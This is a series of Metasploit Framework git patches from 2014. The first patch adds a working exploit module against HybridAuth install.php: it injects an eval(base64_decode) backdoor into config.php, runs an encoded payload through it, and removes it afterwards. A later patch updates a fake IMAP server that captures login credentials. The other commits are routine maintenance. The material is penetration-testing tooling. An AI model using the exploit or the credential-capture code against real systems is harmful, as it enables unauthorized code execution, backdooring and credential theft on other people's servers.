From b8b2e3edff55809da9cbcef502cd1ec7819edc05 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Sat, 16 Aug 2014 23:31:46 +0000 Subject: [PATCH 01/10] Add HybridAuth install.php PHP Code Execution module --- .../webapp/hybridauth_install_php_exec.rb | 138 ++++++++++++++++++ 1 file changed, 138 insertions(+) create mode 100644 modules/exploits/unix/webapp/hybridauth_install_php_exec.rb diff --git a/modules/exploits/unix/webapp/hybridauth_install_php_exec.rb b/modules/exploits/unix/webapp/hybridauth_install_php_exec.rb new file mode 100644 index 0000000000..d2158085df --- /dev/null +++ b/modules/exploits/unix/webapp/hybridauth_install_php_exec.rb @@ -0,0 +1,138 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ManualRanking # application config.php is overwritten + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'HybridAuth install.php PHP Code Execution', + 'Description' => %q{ + This module exploits a PHP code execution vulnerability in + HybridAuth versions 2.0.9 to 2.2.2. The install file 'install.php' + is not removed after installation allowing unauthenticated users to + write PHP code to the application configuration file 'config.php'. + + Note: This exploit will overwrite the application configuration file + rendering the application unusable. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Pichaya Morimoto', # Discovery and PoC + 'Brendan Coles ' # Metasploit + ], + 'References' => + [ + %w|EDB 34273 |, + %w|OSVDB 109838| + ], + 'Arch' => ARCH_PHP, + 'Platform' => 'php', + 'Targets' => + [ + # Tested: + # HybridAuth versions 2.0.9, 2.0.10, 2.0.11, 2.1.2, 2.2.2 on Apache/2.2.14 (Ubuntu) + ['HybridAuth version 2.0.9 to 2.2.2 (PHP Payload)', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Aug 4 2014', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to HybridAuth library', '/hybridauth/']) + ], self.class) + end + + + # + # Check: + # * install.php exists + # * config.php is writable + # * HybridAuth version is 2.0.9 to 2.0.11, 2.1.x, or 2.2.0 to 2.2.2 + # + def check + res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'install.php') + if !res + vprint_error "#{peer} - Connection failed" + return Exploit::CheckCode::Unknown + elsif res.code == 404 + vprint_error "#{peer} - Could not find install.php" + elsif res.body =~ />([^<]+)<\/span> must be WRITABLEHybridAuth (2\.[012]\.[\d\.]+(-dev)?) InstallerHybridAuth (2\.[012]\.[\d\.]+(-dev)?) Installer 'POST', + 'uri' => normalize_uri(target_uri.path, 'install.php'), + 'data' => "OPENID_ADAPTER_STATUS=eval(base64_decode($_POST[#{payload_param}])))));/*" + ) + if !res + fail_with Failure::Unknown, "#{peer} - Connection failed" + elsif res.body =~ /Installation completed/ + print_good "#{peer} - Wrote backdoor successfully" + else + fail_with Failure::UnexpectedReply, "#{peer} - Coud not write backdoor to 'config.php'" + end + + # execute payload + code = Rex::Text.encode_base64(payload.encoded) + print_status "#{peer} - Sending payload to config.php backdoor (#{code.length} bytes)" + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'config.php'), + 'data' => "#{payload_param}=#{code}" + }, 5) + if !res + print_warning "#{peer} - No response" + elsif res.code == 404 + fail_with Failure::NotFound, "#{peer} - Could not find config.php" + elsif res.code == 200 || res.code == 500 + print_good "#{peer} - Sent payload successfully" + end + + # remove backdoor + print_status "#{peer} - Removing backdoor from config.php" + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'install.php'), + 'data' => 'OPENID_ADAPTER_STATUS=' + ) + if !res + print_error "#{peer} - Connection failed" + elsif res.body =~ /Installation completed/ + print_good "#{peer} - Removed backdoor successfully" + else + print_warning "#{peer} - Could not remove payload from config.php" + end + end +end From 564431fd41bf1f3720193e24bd3f4b87f72de6b1 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Mon, 18 Aug 2014 18:54:54 +0000 Subject: [PATCH 02/10] Use arrays in refs for consistency --- modules/exploits/unix/webapp/hybridauth_install_php_exec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/unix/webapp/hybridauth_install_php_exec.rb b/modules/exploits/unix/webapp/hybridauth_install_php_exec.rb index d2158085df..b72979dd10 100644 --- a/modules/exploits/unix/webapp/hybridauth_install_php_exec.rb +++ b/modules/exploits/unix/webapp/hybridauth_install_php_exec.rb @@ -30,8 +30,8 @@ class Metasploit3 < Msf::Exploit::Remote ], 'References' => [ - %w|EDB 34273 |, - %w|OSVDB 109838| + ['EDB', '34273'], + ['OSVDB','109838'] ], 'Arch' => ARCH_PHP, 'Platform' => 'php', From 87aa63de6ec215e3e9c83fe10d6ef940eb4cb862 Mon Sep 17 00:00:00 2001 From: joev Date: Mon, 18 Aug 2014 15:32:51 -0500 Subject: [PATCH 03/10] Deprecate FF17 SVG exploit. This exploit needs flash, the tostring_console injection one does not. --- modules/exploits/multi/browser/firefox_svg_plugin.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/modules/exploits/multi/browser/firefox_svg_plugin.rb b/modules/exploits/multi/browser/firefox_svg_plugin.rb index dac5601f06..957e29c0e0 100644 --- a/modules/exploits/multi/browser/firefox_svg_plugin.rb +++ b/modules/exploits/multi/browser/firefox_svg_plugin.rb @@ -12,6 +12,10 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::EXE include Msf::Exploit::Remote::BrowserAutopwn include Msf::Exploit::Remote::FirefoxPrivilegeEscalation + include Msf::Module::Deprecated + + DEPRECATION_DATE = Date.new(2014, 10, 17) + DEPRECATION_REPLACEMENT = 'exploit/multi/browser/firefox_tostring_console_injection' autopwn_info({ :ua_name => HttpClients::FF, From b93fda5cef97a9103e6374a53bc5a6af08e6a27e Mon Sep 17 00:00:00 2001 From: joev Date: Mon, 18 Aug 2014 15:33:43 -0500 Subject: [PATCH 04/10] Remove browser_autopwn hook from deprecated FF module. --- .../exploits/multi/browser/firefox_svg_plugin.rb | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/modules/exploits/multi/browser/firefox_svg_plugin.rb b/modules/exploits/multi/browser/firefox_svg_plugin.rb index 957e29c0e0..c7b5b5b9f0 100644 --- a/modules/exploits/multi/browser/firefox_svg_plugin.rb +++ b/modules/exploits/multi/browser/firefox_svg_plugin.rb @@ -10,20 +10,20 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::BrowserExploitServer include Msf::Exploit::EXE - include Msf::Exploit::Remote::BrowserAutopwn + # include Msf::Exploit::Remote::BrowserAutopwn include Msf::Exploit::Remote::FirefoxPrivilegeEscalation include Msf::Module::Deprecated DEPRECATION_DATE = Date.new(2014, 10, 17) DEPRECATION_REPLACEMENT = 'exploit/multi/browser/firefox_tostring_console_injection' - autopwn_info({ - :ua_name => HttpClients::FF, - :ua_minver => "17.0", - :ua_maxver => "17.0.1", - :javascript => true, - :rank => NormalRanking - }) + # autopwn_info({ + # :ua_name => HttpClients::FF, + # :ua_minver => "17.0", + # :ua_maxver => "17.0.1", + # :javascript => true, + # :rank => NormalRanking + # }) def initialize(info = {}) super(update_info(info, From 74920d26a4002c63512b6069426be9948226219f Mon Sep 17 00:00:00 2001 From: Tom Sellers Date: Mon, 4 Aug 2014 21:31:33 -0500 Subject: [PATCH 05/10] Update to server/capture/imap.rb for new Credential system --- modules/auxiliary/server/capture/imap.rb | 67 +++++++++++++++--------- 1 file changed, 42 insertions(+), 25 deletions(-) diff --git a/modules/auxiliary/server/capture/imap.rb b/modules/auxiliary/server/capture/imap.rb index 0600f1a51b..c4bae25ebd 100644 --- a/modules/auxiliary/server/capture/imap.rb +++ b/modules/auxiliary/server/capture/imap.rb @@ -6,13 +6,11 @@ require 'msf/core' - class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::TcpServer include Msf::Auxiliary::Report - def initialize super( 'Name' => 'Authentication Capture: IMAP', @@ -56,11 +54,11 @@ class Metasploit3 < Msf::Auxiliary def on_client_data(c) data = c.get_once - return if not data - num,cmd,arg = data.strip.split(/\s+/, 3) + return unless data + num, cmd, arg = data.strip.split(/\s+/, 3) arg ||= "" - if(cmd.upcase == "CAPABILITY") + if cmd.upcase == 'CAPABILITY' c.put "* CAPABILITY IMAP4 IMAP4rev1 IDLE LOGIN-REFERRALS " + "MAILBOX-REFERRALS NAMESPACE LITERAL+ UIDPLUS CHILDREN UNSELECT " + "QUOTA XLIST XYZZY LOGIN-REFERRALS AUTH=XYMCOOKIE AUTH=XYMCOOKIEB64 " + @@ -68,38 +66,26 @@ class Metasploit3 < Msf::Auxiliary c.put "#{num} OK CAPABILITY completed.\r\n" end - if(cmd.upcase == "AUTHENTICATE" and arg.upcase == "XYMPKI") + # Handle attempt to authenticate using Yahoo's magic cookie + # Used by iPhones and Zimbra + if cmd.upcase == 'AUTHENTICATE' && arg.upcase == 'XYMPKI' c.put "+ \r\n" cookie1 = c.get_once c.put "+ \r\n" cookie2 = c.get_once - report_auth_info( - :host => @state[c][:ip], - :sname => 'imap-yahoo', - :port => datastore['SRVPORT'], - :source_type => "captured", - :user => cookie1, - :pass => cookie2 - ) + register_creds(@state[c][:ip], cookie1, cookie2, 'imap-yahoo') return end - if(cmd.upcase == "LOGIN") + if cmd.upcase == 'LOGIN' @state[c][:user], @state[c][:pass] = arg.split(/\s+/, 2) - report_auth_info( - :host => @state[c][:ip], - :port => datastore['SRVPORT'], - :sname => 'imap', - :user => @state[c][:user], - :pass => @state[c][:pass], - :active => true - ) + register_creds(@state[c][:ip], @state[c][:user], @state[c][:pass], 'imap') print_status("IMAP LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}") return end - if(cmd.upcase == "LOGOUT") + if cmd.upcase == 'LOGOUT' c.put("* BYE IMAP4rev1 Server logging out\r\n") c.put("#{num} OK LOGOUT completed\r\n") return @@ -108,12 +94,43 @@ class Metasploit3 < Msf::Auxiliary @state[c][:pass] = data.strip c.put "#{num} NO LOGIN FAILURE\r\n" return - end def on_client_close(c) @state.delete(c) end + def register_creds(client_ip, user, pass, service_name) + # Build service information + service_data = { + address: client_ip, + port: datastore['SRVPORT'], + service_name: service_name, + protocol: 'tcp', + workspace_id: myworkspace_id + } + # Build credential information + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_data: pass, + private_type: :password, + username: user, + workspace_id: myworkspace_id + } + + credential_data.merge!(service_data) + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED, + workspace_id: myworkspace_id + } + + login_data.merge!(service_data) + create_credential_login(login_data) + end end From b6deb6a342451e3628f5093bf1a3254500cc7ca3 Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 19 Aug 2014 15:30:24 -0500 Subject: [PATCH 06/10] Fix a crash when we can't connect to PG MSP-11061 No Postgres, no cry --- lib/metasploit/framework/command/base.rb | 5 ----- lib/metasploit/framework/require.rb | 25 ------------------------ 2 files changed, 30 deletions(-) diff --git a/lib/metasploit/framework/command/base.rb b/lib/metasploit/framework/command/base.rb index d7fa9e200d..62b3515a2a 100644 --- a/lib/metasploit/framework/command/base.rb +++ b/lib/metasploit/framework/command/base.rb @@ -60,11 +60,6 @@ class Metasploit::Framework::Command::Base # the configuration from the parsed options. parsed_options.configure(Rails.application) - # support disabling the database - unless parsed_options.options.database.disable - Metasploit::Framework::Require.optionally_active_record_railtie - end - Rails.application.require_environment! parsed_options diff --git a/lib/metasploit/framework/require.rb b/lib/metasploit/framework/require.rb index 760771c488..78c4dd2381 100644 --- a/lib/metasploit/framework/require.rb +++ b/lib/metasploit/framework/require.rb @@ -34,31 +34,6 @@ module Metasploit end end - # Tries to `require 'active_record/railtie'` to define the activerecord Rails initializers and rake tasks. - # - # @example Optionally requiring 'active_record/railtie' - # require 'metasploit/framework/require' - # - # class MyClass - # def setup - # if database_enabled - # Metasploit::Framework::Require.optionally_active_record_railtie - # end - # end - # end - # - # @return [void] - def self.optionally_active_record_railtie - if ::File.exist?(Rails.application.config.paths['config/database'].first) - optionally( - 'active_record/railtie', - 'activerecord not in the bundle, so database support will be disabled.' - ) - else - warn 'Could not find database.yml, so database support will be disabled.' - end - end - # Tries to `require 'metasploit/credential/creation'` and include it in the `including_module`. # # @param including_module [Module] `Class` or `Module` that wants to `include Metasploit::Credential::Creation`. From e2e2dfc6a37e964077fdd09f084e39921ee8742e Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 19 Aug 2014 17:47:44 -0500 Subject: [PATCH 07/10] Undo FF --- modules/exploits/multi/browser/firefox_svg_plugin.rb | 4 ---- 1 file changed, 4 deletions(-) diff --git a/modules/exploits/multi/browser/firefox_svg_plugin.rb b/modules/exploits/multi/browser/firefox_svg_plugin.rb index c7b5b5b9f0..1adc54b483 100644 --- a/modules/exploits/multi/browser/firefox_svg_plugin.rb +++ b/modules/exploits/multi/browser/firefox_svg_plugin.rb @@ -12,10 +12,6 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::EXE # include Msf::Exploit::Remote::BrowserAutopwn include Msf::Exploit::Remote::FirefoxPrivilegeEscalation - include Msf::Module::Deprecated - - DEPRECATION_DATE = Date.new(2014, 10, 17) - DEPRECATION_REPLACEMENT = 'exploit/multi/browser/firefox_tostring_console_injection' # autopwn_info({ # :ua_name => HttpClients::FF, From fa27def41f7fdb552d8d611c78b2024f781801ec Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 20 Aug 2014 11:01:29 -0500 Subject: [PATCH 08/10] Revert "Fix a crash when we can't connect to PG" This reverts commit b6deb6a342451e3628f5093bf1a3254500cc7ca3. --- lib/metasploit/framework/command/base.rb | 5 +++++ lib/metasploit/framework/require.rb | 25 ++++++++++++++++++++++++ 2 files changed, 30 insertions(+) diff --git a/lib/metasploit/framework/command/base.rb b/lib/metasploit/framework/command/base.rb index 62b3515a2a..d7fa9e200d 100644 --- a/lib/metasploit/framework/command/base.rb +++ b/lib/metasploit/framework/command/base.rb @@ -60,6 +60,11 @@ class Metasploit::Framework::Command::Base # the configuration from the parsed options. parsed_options.configure(Rails.application) + # support disabling the database + unless parsed_options.options.database.disable + Metasploit::Framework::Require.optionally_active_record_railtie + end + Rails.application.require_environment! parsed_options diff --git a/lib/metasploit/framework/require.rb b/lib/metasploit/framework/require.rb index 78c4dd2381..760771c488 100644 --- a/lib/metasploit/framework/require.rb +++ b/lib/metasploit/framework/require.rb @@ -34,6 +34,31 @@ module Metasploit end end + # Tries to `require 'active_record/railtie'` to define the activerecord Rails initializers and rake tasks. + # + # @example Optionally requiring 'active_record/railtie' + # require 'metasploit/framework/require' + # + # class MyClass + # def setup + # if database_enabled + # Metasploit::Framework::Require.optionally_active_record_railtie + # end + # end + # end + # + # @return [void] + def self.optionally_active_record_railtie + if ::File.exist?(Rails.application.config.paths['config/database'].first) + optionally( + 'active_record/railtie', + 'activerecord not in the bundle, so database support will be disabled.' + ) + else + warn 'Could not find database.yml, so database support will be disabled.' + end + end + # Tries to `require 'metasploit/credential/creation'` and include it in the `including_module`. # # @param including_module [Module] `Class` or `Module` that wants to `include Metasploit::Credential::Creation`. From c3e8bc8fa03a197772c346537ad2da954c4b9bd9 Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 20 Aug 2014 11:02:46 -0500 Subject: [PATCH 09/10] Fix a crash when we can't connect to PG, again --- lib/metasploit/framework/command/base.rb | 5 ----- 1 file changed, 5 deletions(-) diff --git a/lib/metasploit/framework/command/base.rb b/lib/metasploit/framework/command/base.rb index d7fa9e200d..62b3515a2a 100644 --- a/lib/metasploit/framework/command/base.rb +++ b/lib/metasploit/framework/command/base.rb @@ -60,11 +60,6 @@ class Metasploit::Framework::Command::Base # the configuration from the parsed options. parsed_options.configure(Rails.application) - # support disabling the database - unless parsed_options.options.database.disable - Metasploit::Framework::Require.optionally_active_record_railtie - end - Rails.application.require_environment! parsed_options From cef4ddf53509c130c6967486d5fd5bcfa17b63dc Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 20 Aug 2014 11:03:41 -0500 Subject: [PATCH 10/10] Fix a crash when msfconsole is a symlink --- msfconsole | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/msfconsole b/msfconsole index 9dee47926f..ce2e62dfb2 100755 --- a/msfconsole +++ b/msfconsole @@ -1,13 +1,9 @@ #!/usr/bin/env ruby # -*- coding: binary -*- # -# $Id$ -# # This user interface provides users with a command console interface to the # framework. # -# $Revision$ -# # # Standard Library @@ -20,7 +16,7 @@ require 'pathname' # # @see https://github.com/rails/rails/blob/v3.2.17/railties/lib/rails/generators/rails/app/templates/script/rails#L3-L5 -require Pathname.new(__FILE__).expand_path.parent.join('config', 'boot') +require Pathname.new(__FILE__).realpath.expand_path.parent.join('config', 'boot') require 'metasploit/framework/command/console' Metasploit::Framework::Command::Console.start